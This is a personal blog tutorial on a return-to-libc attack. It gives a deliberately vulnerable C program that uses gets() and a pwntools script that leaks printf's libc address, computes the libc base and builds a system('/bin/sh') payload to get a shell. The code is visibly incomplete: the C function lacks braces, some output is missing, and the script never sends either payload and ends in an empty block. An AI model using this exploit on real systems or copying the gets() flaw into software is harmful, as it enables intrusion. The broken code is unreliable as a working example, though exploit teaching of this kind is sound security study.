Hello i am arsalan. information system student, i blog about cyber security, ctf writeup , web development , and more about tech. born and raised in indonesia , currently living in indonesia

Posts   About

Return to libc attack

this article explains about return to libc attack.

if we can control instruction pointer , it possible to us to doing this attack. this method can be used even the target machine have aslr and pie enabled, since we can leak libc function and calculate it with some offset. we can use this code :

#include <stdio.h>

int main()
    char buf[200]; // limitation
    printf("|            developed by tripoloski   2019 |\n");
    printf("|  how to :                                 |\n");
    printf("|           - leaking libc                  |\n");
    printf("|           - calculate to got shell        |\n");
    printf("buff > ");
    gets(&buf); // bug in here
    return 0;

you can get the binary from my repository here

i assume you already know about buffer overflow vulnerability. firstly we need to find the offset to overwrite instruction pointer , i use gdb-gef to do dynamic analysis you can find gdb-gef here. to find the offset i use pattern to automatic calculate the offset

the offset to overwrite eip is 208 bytes , so we need 208 bytes padding to be able to overwrite eip. now let’s find puts@plt by using objdump

and now let’s find libc function by using readelf

we will use printf , so now we will leak printf address. our exploit should be look like this

  p = "A" * 208
  p += p32(puts) # puts plt from objdump
  p += p32(main)  # you can find main like puts using objdump
  p += p32(printf) # printf from readelf

the binary will jump back to main function after leak printf , its like


now we can grab that leaked address and calculate it to system offset , and send another exploit that contains system() and string “/bin/sh” , our full exploit will look like this

from pwn import *
r = process("./lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
def main():
	puts = 0x08049050
	printf = 0x0804c00c
	main = 0x08049182
	p = "A" * 208
	p += p32(puts)
	p += p32(main)
	p += p32(printf)
	r.recvuntil("buff > ")
	printf_leak = u32(r.recv(4))
	log.info("leaked printf glibc : %s " % hex(printf_leak) )

	libc_base = printf_leak - libc.symbols['printf']
	libc_system = libc_base + libc.symbols['system']
	binsh_str = libc_base + libc.search("/bin/sh").next()

	q = "A" * 208
	q += p32(libc_system)
	q += p32(00)
	q += p32(binsh_str)



if __name__ == '__main__':